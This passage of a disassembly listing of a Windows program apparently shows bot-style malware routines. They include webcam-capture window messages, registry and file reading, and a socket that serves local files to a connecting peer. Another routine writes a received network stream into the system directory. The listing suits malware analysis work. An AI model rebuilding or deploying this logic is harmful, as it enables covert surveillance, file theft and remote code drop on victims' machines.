XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CB590 ; DeleteObject push [ebp+var_4] call dword_4CB4F0 ; DeleteDC mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CB4F0 ; DeleteDC mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CB4F0 ; DeleteDC push [ebp+var_4] call dword_4CB4F0 ; DeleteDC loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3260 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB584 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB690 ; SendMessageA jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB690 ; SendMessageA loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CB5D4 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CB690 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB690 ; SendMessageA loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5D4 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB690 ; SendMessageA loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB690 ; SendMessageA loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB690 ; SendMessageA loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB690 ; SendMessageA loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB690 ; SendMessageA loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB6E4 ; DestroyWindow mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3260 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB584 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB690 ; SendMessageA jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB690 ; SendMessageA loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CB690 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB690 ; SendMessageA loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB690 ; SendMessageA loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB690 ; SendMessageA loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB690 ; SendMessageA loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB690 ; SendMessageA loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CB690 ; SendMessageA loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB690 ; SendMessageA loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CB5D4 ; IsWindow test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CB690 ; SendMessageA loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB6E4 ; DestroyWindow mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4368BC, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4368BC mov esi, offset dword_4368C8 mov edi, offset dword_437AC0 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB6A4 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CB534 ; RegQueryValueExA test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_429A90 push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_437ABC ; "=" push eax call sub_41C0F4 push offset asc_437ABC ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CB610 ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: sub_415C59+33p ; sub_4161BC+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6B4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB634 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB674 ; inet_addr cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CB6B8 ; gethostbyname test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5DC ; connect cmp eax, esi jnz short loc_415C53 push edi call dword_4CB6CC ; closesocket loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C59 proc near ; DATA XREF: sub_401ACD+A1Eo var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_415BD3 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_415CEC lea eax, [ebp+var_11B4] push offset unk_437B3C push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_415CCF push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409A72 add esp, 14h loc_415CCF: ; CODE XREF: sub_415C59+59j lea eax, [ebp+var_11B4] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread loc_415CEC: ; CODE XREF: sub_415C59+3Fj push offset byte_43D7E8 push ebx call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_415D57 lea eax, [ebp+var_11B4] push offset unk_437B0C push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_415D33 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409A72 add esp, 14h loc_415D33: ; CODE XREF: sub_415C59+BDj lea eax, [ebp+var_11B4] push eax call sub_4151AC pop ecx push ebx call dword_4CB6CC ; closesocket push [ebp+var_10] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread loc_415D57: ; CODE XREF: sub_415C59+A3j push 64h call dword_427078 ; Sleep xor edi, edi mov esi, 1000h loc_415D66: ; CODE XREF: sub_415C59+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_4CB64C ; recv test eax, eax jle short loc_415DC3 lea eax, [ebp+var_11B4] push offset asc_42A06C ; "\n" push eax call sub_41BEC0 lea eax, [ebp+var_11B4] push eax call sub_419A50 add esp, 0Ch test eax, eax jz short loc_415DC3 push 64h call dword_427078 ; Sleep push 0Ah call sub_40B33E test eax, eax pop ecx jnz short loc_415D66 loc_415DC3: ; CODE XREF: sub_415C59+130j ; sub_415C59+154j lea eax, [ebp+var_11B4] push offset unk_437AD8 push eax call sub_41B886 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_415DF6 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409A72 add esp, 14h loc_415DF6: ; CODE XREF: sub_415C59+180j lea eax, [ebp+var_11B4] push eax call sub_4151AC pop ecx push ebx call dword_4CB6CC ; closesocket push [ebp+var_10] call sub_40B412 pop ecx push edi call dword_4270CC ; ExitThread sub_415C59 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E1A proc near ; DATA XREF: sub_401ACD+7831o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4CB6B4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_415E68 push offset unk_437C3C jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: sub_415E1A+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_4CB634 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4CB660 ; bind test eax, eax jz short loc_415EA6 push offset unk_437C18 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: sub_415E1A+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_4CB5D8 ; getsockname push [ebp+var_2E] call dword_4CB564 ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: sub_415E1A+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: sub_415E1A+CAj movsx eax, al loc_415EEE: ; CODE XREF: sub_415E1A+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CB65C ; listen test eax, eax jz short loc_415F21 push offset unk_437B3C jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415E1A+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_415F4B push offset unk_437BF8 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: sub_415E1A+125j push esi push eax call dword_427108 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AC0F pop ecx push eax call dword_4CB674 ; inet_addr push eax call dword_4CB630 ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_437BE0 push eax call sub_41B886 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409A72 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4CB61C ; select test eax, eax jg short loc_415FFB push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_437BC8 push eax push [ebp+var_1FC] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: sub_415E1A+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4CB6C8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_416034 push offset unk_437BA4 loc_416021: ; CODE XREF: sub_415E1A+49j ; sub_415E1A+87j ... lea eax, [ebp+var_3FC] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: sub_415E1A+200j push edi call dword_4CB6CC ; closesocket cmp [ebp+arg_0], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: sub_415E1A+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_416056 mov [ebp+var_4], eax loc_416056: ; CODE XREF: sub_415E1A+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_42711C ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_4270E8 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4CB684 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4CB64C ; recv cmp eax, ebx jl loc_41617B mov eax, [ebp+var_4] cmp eax, ebx jl loc_41617B sub [ebp+arg_0], eax jnz loc_416049 mov edi, [ebp+var_18] loc_4160E6: ; CODE XREF: sub_415E1A+224j push [ebp+var_8] call dword_427068 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416922 pop ecx pop ecx push eax push [ebp+var_44] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_437B78 push eax call sub_41B886 loc_41611F: ; CODE XREF: sub_415E1A+1DCj add esp, 14h loc_416122: ; CODE XREF: sub_415E1A+215j cmp [ebp+var_50], esi jnz short loc_416147 push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: sub_415E1A+30Bj lea eax, [ebp+var_3FC] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB6CC ; closesocket loc_41615F: ; CODE XREF: sub_415E1A+33Cj push [ebp+var_1F8] call dword_4CB6CC ; closesocket push [ebp+var_58] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread loc_41617B: ; CODE XREF: sub_415E1A+2AFj ; sub_415E1A+2BAj push esi mov esi, offset dword_437B60 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_409A72 push esi call sub_4151AC add esp, 18h push [ebp+var_1F8] call dword_4CB6CC ; closesocket push [ebp+var_58] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread sub_415E1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161BC proc near ; DATA XREF: sub_401ACD+7B4o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset dword_429A98 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437CDC jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: sub_4161BC+81j push eax call dword_427068 ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_41626E push offset unk_437CAC jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: sub_4161BC+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_41629F push offset unk_437C8C loc_41628C: ; CODE XREF: sub_4161BC+88j ; sub_4161BC+B0j lea eax, [ebp+var_4C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: sub_4161BC+C9j mov esi, 1000h loc_4162A4: ; CODE XREF: sub_4161BC+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_4CB64C ; recv mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41D2B4 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4CB630 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4CB684 ; send jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_4161BC+118j lea eax, [ebp+var_4C4] push offset dword_437B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409A72 lea eax, [ebp+var_4C4] push eax call sub_4151AC push [ebp+var_4] call sub_41B05B add esp, 24h push [ebp+arg_0] call dword_4CB6CC ; closesocket push [ebp+var_1C] call sub_40B412 pop ecx push 1 call dword_4270CC ; ExitThread loc_41636B: ; CODE XREF: sub_4161BC+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset 